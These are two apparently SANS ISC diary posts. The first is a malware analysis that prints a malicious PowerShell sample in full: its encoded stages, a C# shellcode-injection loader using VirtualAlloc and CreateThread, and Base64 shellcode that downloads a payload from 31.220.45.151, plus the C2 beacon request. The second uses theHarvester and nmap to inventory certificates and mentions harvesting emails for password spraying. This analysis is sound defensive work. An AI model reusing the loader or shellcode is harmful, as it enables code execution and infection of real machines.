Malicious PowerShell Compiling C# Code on the Fly

Published: 2018-09-05. Last Updated: 2018-09-06 06:31:28 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

What I like when hunting is to discover how attackers are creative to find new ways to infect their victim’s computers. I came across a Powershell sample that looked new and interesting to me. First, let’s deobfuscate the classic way.

It started with a simple Powerscript command with a big Base64 encoded string:

$ cat step1.base64.txt
JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByA
G8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLAFYAVwArADIALwBpAFMAQgBMACsATwBmAHcAVg
AzAGcAaABwAGcANQBKAGcARABJAFIASABSAGkATgBOAEcAegBBADIAWQBCADQARwBiAEUASQBVAG4AZABwADIAMgAyADUAbwB1AHgAMAAvAGUARwBSADI
ALwB2AGQAcgBZADgASQB0AE0ANwB0ADcAMABwADAAbABDADMAZABSADkAVgBWADkAMQBkAFYAZABOAFUAZgBKADQAegB5AEoAcwBKAFcAbwAxAEUAYgBj
AG8ANAA2AGkARwBOAE8AQQBxAHgAWQBLAHgAUwA1AFYARQB1ADQAcgA5ACsAMwAzAFEAaABIAEcATQBmAEoATgBjAHMAeQBXAHQANABXAGIATgBNAGEAQ
...stuff deleted...
SwBGAHMAKwBaADIAdgBOAHoAegBFAFkAYgA3AGgARwA5AGMANgAxAFQAVgBIAEUAMgAyAGoAeAB1AHEATQBrAHkAZgArAHAAKwBkADAAVgBZADQAcABUA
GUAaQB2AFYAQQA3AGcAZgAzAHkASABJAE0ANABsAHEAVgBlAHcAUwBSAG0ALwBxAEkARABTAEwANQBnAFAAMABIAHQAMgBkAFIAbgBRAHoALwBZAEEATw
BzAGgAZgBBAE8AUABRADYAbwB5AFkAZwBnAEUAcQBNAE0AKwBnAFMAUwBLAFQAUABaAHYAdwBHAG8AYQBIAHoAMABzAFEAcwBBAEEAQQA9AD0AIgApACk
AOwBJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAg
AEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAkAHMALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8Ab
gAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoAC
kAOwA=

Once decoded, the result was a Unicode string containing more Powershell code. Let's decode this second stage:

$ cat step1.base64.txt | base64 -d | iconv -f utf-16 -t ascii >step2.txt.malicious
$ cat step2.txt.malicious
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

The script contains another Base64 + Gzipped string. Let’s decode it in the same way:

$ echo -n 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
6oyYggEqMM+gSSKTPZvwGoaHz0sQsAAA== | base64 -d | gzip -d -c - >step3.txt.malicious

Finally, we have this Powerpoint code which looks much more interesting:

$ cat -n step3.txt.malicious
     1    Set-StrictMode -Version 2
     2
     3    $DoIt = @'
     4    $assembly = @"
     5        using System;
     6        using System.Runtime.InteropServices;
     7        namespace inject {
     8            public class func {
     9                [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
    10                [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
    11                [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
    12                [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    13                [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    14                [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
    15            }
    16        }
    17    "@
    18
    19    $compiler = New-Object Microsoft.CSharp.CSharpCodeProvider
    20    $params = New-Object System.CodeDom.Compiler.CompilerParameters
    21    $params.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
    22    $params.GenerateInMemory = $True
    23    $result = $compiler.CompileAssemblyFromSource($params, $assembly)
    24
    25    [Byte[]]$var_code = [System.Convert]::FromBase64String("/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAc
fi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4F
hfWosS64ZdaG5ldABod2luaVRoT
HcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAAAWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAyoIRSUlJTUlBo61UuO//VicaDw1BogDMAAInga
gRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+EygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////
zH/6ZEBAADpyQEAAOhv////L1ZkQWEAGi03F8fms8HPRgZbfhAXu7XunZHvgTQZ14ncgAx76U+mGQm7eQxC9LKfKHzD1WL1lypbBs1/L9dCY4I9V/QmKmkGvuJkD
+33lQBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC81LjA7IEJPSUU5O
0VOR0IpDQoA4jjZnOfGnJvj2Gp/vnWrt9Lji/hmO1p9bcHvSdHQYH4FHjWecqkJhnHKbEH+ysM4yitxNpAVQRRa9VCDY7HtCrLC72vcE0waIBfl5cKEkM7txMQah
Hd8NJtUEoiqpPKPCSTbg7DmAEmnRWlKiaPJnuZPyIiBPG1SaeT1lgJ+6uzshtQicNFmznhoBflfIikfIhq3XIjdYRV7+hCkiUCE4elWmE71xBzpHcBol70Kw5NPT
xAVIbiawM3I6dWmpmEo4H2KAaLT/M3jnxsqwTgAaPC1olb/1WpAaAAQAABoAABAAFdoWKRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFw
HXlWMPoif3//zMxLjIyMC40NS4xNTEAAAAAAQ==")
    26
    27    $buffer = [inject.func]::VirtualAlloc(0, $var_code.Length + 1, [inject.func+AllocationType]::Reserve -bOr [inject.func+AllocationType]::Commit, [inject.func+MemoryProtection]::ExecuteReadWrite)
    28    if ([Bool]!$buffer) {
    29        $global:result = 3;
    30        return
    31    }
    32    [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $buffer, $var_code.Length)
    33    [IntPtr] $thread = [inject.func]::CreateThread(0, 0, $buffer, 0, 0, 0)
    34    if ([Bool]!$thread) {
    35        $global:result = 7;
    36        return
    37    }
    38    $result2 = [inject.func]::WaitForSingleObject($thread, [inject.func+Time]::Infinite)
    39    '@
    40
    41    If ([IntPtr]::size -eq 8) {
    42        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
    43    }
    44    else {
    45        IEX $DoIt
    46    }

What does this script do? The most interesting part is between lines 4 & 23. Powershell is a wonderful tool and is able to dynamically compile C# code. The variable $result contains bytes for the compiled assembly to be loaded at a later time. This is performed via the Microsoft.CSharp.CSharpCodeProvider[1]. The C# code to be compiled is:

using System;
    using System.Runtime.InteropServices;
    namespace inject {
        public class func {
            [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
            [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
            [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
            [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
            [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
            [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
        }
    }

While debugging the malicious Powershell, you can find the compiler generated files in %TEMP%. Here is the command line generated to compile the code:

C:\Users\REM\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:"C:\Users\REM\AppData\Local\Temp\wksk3kir.dll" /debug- /optimize+  "C:\Users\REM\AppData\Local\Temp\wksk3kir.0.cs"

It compiles a DLL file (SHA256: 82fbc7a7c75a559e004a9a4f96e1ae1c8d99586b465f391cc547d4977720f858)

At line 25, the shellcode is injected in the Powershell process via the DLL ‘inject’ namespace using the common system calls VirtualAlloc(). Then the memory protection is changed to ‘ExecuteReadWrite’. Finally, a new threat is created at line 33.

Let’s decode the shellcode now:

$ echo -n '/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc
8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//V6AAAAAAx/1dXV1dXaDpWeaf/1emkAAA
AWzHJUVFqA1FRaLsBAABTUGhXiZ/G/9VQ6YwAAABbMdJSaAAyoIRSUlJTUlBo61UuO//VicaDw1BogDMAAIngagRQah9WaHVGnob/1V8x/1dXav9TVmgtBhh7/9WFwA+E
ygEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3UHWFDpe////zH/6ZEBAADpyQEAAOhv////L1ZkQWEAGi03F8fms8HPRgZbf
hAXu7XunZHvgTQZ14ncgAx76U+mGQm7eQxC9LKfKHzD1WL1lypbBs1/L9dCY4I9V/QmKmkGvuJkD+33lQBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZT
sgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC81LjA7IEJPSUU5O0VOR0IpDQoA4jjZnOfGnJvj2Gp/vnWrt9Lji/hmO1p9bcHvSdHQYH4FHjW
ecqkJhnHKbEH+ysM4yitxNpAVQRRa9VCDY7HtCrLC72vcE0waIBfl5cKEkM7txMQahHd8NJtUEoiqpPKPCSTbg7DmAEmnRWlKiaPJnuZPyIiBPG1SaeT1lgJ+6uzshtQi
cNFmznhoBflfIikfIhq3XIjdYRV7+hCkiUCE4elWmE71xBzpHcBol70Kw5NPTxAVIbiawM3I6dWmpmEo4H2KAaLT/M3jnxsqwTgAaPC1olb/1WpAaAAQAABoAABAAFdoW
KRT5f/Vk7kAAAAAAdlRU4nnV2gAIAAAU1ZoEpaJ4v/VhcB0xosHAcOFwHXlWMPoif3//zMxLjIyMC40NS4xNTEAAAAAAQ==‘ | base64 -d >shellcode.malicious

We can find basic information in strings contained in the shellcode but thanks to Didier’s last diary[2], let's see what the shellcode is doing:

C:\Users\REM\Desktop\VS_LIBEMU-master>scdbg.exe -s -1 -f shellcode.malicious
Loaded 343 bytes from file shellcode.malicious
Initialization Complete..
Max Steps: -1
Using base offset: 0x401000

4010a2  LoadLibraryA(wininet)
4010b5  InternetOpenA()
4010d1  InternetConnectA(server: 31.220.45.151, port: 443, )
4010ed  HttpOpenRequestA(path: /VdAa, )
401106  InternetSetOptionA(h=4893, opt=1f, buf=12fdec, blen=4)
401116  HttpSendRequestA(User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENGB), )
401138  GetDesktopWindow()
401147  InternetErrorDlg(11223344, 4893, 401138, 7, 0)
401303  VirtualAlloc(base=0 , sz=400000) = 600000
40131e  InternetReadFile(4893, buf: 600000, size: 2000)

Let’s execute it in a sandbox. The following behaviour can be observed:

It grabs a new payload from hxxps://31[.]220[.]45[.]151/VdAa

The file is detected as raw data and is probably XOR’d (SHA256: 6d808d2ff7752bea43216fef7e3d52dac098ad260824b852f78bb1604479938a). I did not try to decode it, I just uploaded it to my sandbox lab to be delivered when the shellcode requests it. It was decoded and started beaconing to its C2 via the following URL exactly every 60 seconds: hxxps://31[.]220[.]45[.]151/visit.js

GET /visit.js
Host: 31.220.45.151
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
Accept: */*
Cookie: NQhe1f6S55pxptY3TRq8iTRPOQml+VURG4YO0fSCi+DaqYrApfX0TEZu3xihxlAESVliCHzyBr84U1KiOIHeADfmfY7mdBbCEcXX+xHarM7+YooAHzAm4/k3YIBxJ6yo09nFBHpAi5uwC1H/wGaiDGozMF6XJoawxmyz6qMigVQ=

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Date: Tue, 4 Sep 2018 13:16:34 GMT
Content-Length: 0

The result was empty but I presume that the C2 should return some commands at a certain time. I started the following loop as a simple honeypot:

while true
  do curl --header "Cookie: NQhe1f6S55pxptY3TRq8iTRPOQml+VURG4YO0fSCi+DaqYrApfX0TEZu3xihxlAESVliCHzyBr84U1KiOIHeADfmfY7mdBbCEcXX+xHarM7+YooAHzAm4/k3YIBxJ6yo09nFB
HpAi5uwC1H/wGaiDGozMF6XJoawxmyz6qMigVQ=" -k -A 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)' hxxps://31[.]220[.]45[.]151/visit.js
  sleep 60
  echo -n "===; date
done

Until now, no command was received from the C2... 

[1] https://docs.microsoft.com/en-us/dotnet/api/microsoft.csharp.csharpcodeprovider?view=netframework-4.7.2
[2] https://isc.sans.edu/forums/diary/Another+quickie+Using+scdbg+to+analyze+shellcode/24058/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
WMWare Advisory - https://www.vmware.com/security/advisories/VMSA-2018-0023.html fix for IOS Airwatch and IOS Content Locker - unencrypted data storage issue
ISC Stormcast For Thursday, September 6th 2018 https://isc.sans.edu/podcastdetail.html?id=6156
It's "patch all the Cisco things" day it seems like. Check here for any of your affected products: https://tools.cisco.com/security/center/publicationListing.x Patches for Umbrella API, home "RV" series routers, Prime, Meeting Server, Webex etc

Where have all my Certificates gone? (And when do they expire?)

Published: 2018-09-05. Last Updated: 2018-09-05 17:51:18 UTC
by Rob VandenBrink (Version: 1)
0 comment(s)

Recently I had a client that was trying to "rein in" their wildcard certificate usage.  They had given the same wildcard to their developers, their infrastructure team, security team, everyone really.
The *business* problem was that it's due to expire in a few weeks, and nobody had a complete list of the public sites that were using it.  Plus nobody knew if there were other hosts out there, using individually purchased certificates.

Easy to solve you say?  Sure, if you had a list of all of the public subnets they use - I could easily figure out what they own from arin.net, but not all the subnet address space they were "borrowing" from their various ISPs.  Let alone what all they had running in Azure, AWS and a few other clouds.

So, after the obvious list (which they already had), I started the fun part.

First, I went to arin.net and got their actual subnets.  
Then I ran theharvester (it's part of Kali) to find the *other* bits and pieces of infrastructure that might be in play.
Theharvester is a nice open source intelligence tool starts with various search

First, let's run the tool - command line options are:

root@kali:~# theharvester

*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.2a                                          *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************


Usage: theharvester options

       -d: Domain to search or company name
       -b: Data source (google,bing,bingapi,pgp,linkedin,google-profiles,people123,jigsaw,all)
       -s: Start in result number X (default 0)
       -v: Verify host name via dns resolution and search for virtual hosts
       -f: Save the results into an HTML and XML file
       -n: Perform a DNS reverse query on all ranges discovered
       -c: Perform a DNS brute force for the domain name
       -t: Perform a DNS TLD expansion discovery
       -e: Use this DNS server
       -l: Limit the number of results to work with(bing goes from 50 to 50 results,
       -h: use SHODAN database to query discovered hosts
            google 100 to 100, and pgp doesn't use this option)

Examples: theharvester -d microsoft.com -l 500 -b google
            theharvester -d microsoft.com -b pgp
            theharvester -d microsoft -l 200 -b linkedin

Narrowing it down, let's pull just the hostnames, and dump them to a file.

theharvester -d customerdomain.com -l 500 -b bing -v -n | grep -v \@ | sed s"\t"/":"/g | cut -d ":" -f 2 | sort | uniq > domainhosts.in

Disecting the line above:

we're using bing, mostly because google is being picky about me having an API key today :-)
"grep -v \@" filters out all the email addresses we found
"sed s"\t"/":"/g"  replaces all the tab characters with colons (we need this for the next filter)
"cut -d ":" -f 2" says "give me just column two, using colons as a separator
The "sort" and "uniq" of course in combination filters out duplicate entries

Now we can assess the certicate in use on each host - the goal here is to collect the certificate in use on each site and the expiry date.

NMAP does a decent job on this:

nmap -p443 --open -iL domainhosts.in --script ssl-cert.nse | findstr "report after"

This assesses the certificates on each host, then reports back with the hostname being assessed and the expiry date of it's certificate.  I'm only checking port 443, but you can easily expand that of course - running it for the default port list or even all ports can often yield good results in a pentest of security assessment for instance.

If for instance the domainhosts.in file looks like this:

isc.sans.org
www.giac.org
www.sans.org

The output will be just the data we're looking for:

Nmap scan report for isc.sans.org (204.51.94.153)
| Not valid after:  2018-11-07T22:22:01
Nmap scan report for www.giac.org (204.51.94.204)
| Not valid after:  2019-10-25T23:59:59
Nmap scan report for www.sans.org (45.60.103.34)
| Not valid after:  2019-05-31T12:28:05

What other uses does theharvester have?  If you are pentesting a client, it makes a nice collection engine to "find" internet-facing customer assets that maybe they didn't know they have, or maybe aren't protecting as well as they should (dev servers, every time).  It also makes a nice "quick and dirty" tool to collect a baseline of email addresses for things like password spray attacks.

===============
Rob VandenBrink
Compugen

0 comment(s)

Comments


Diary Archives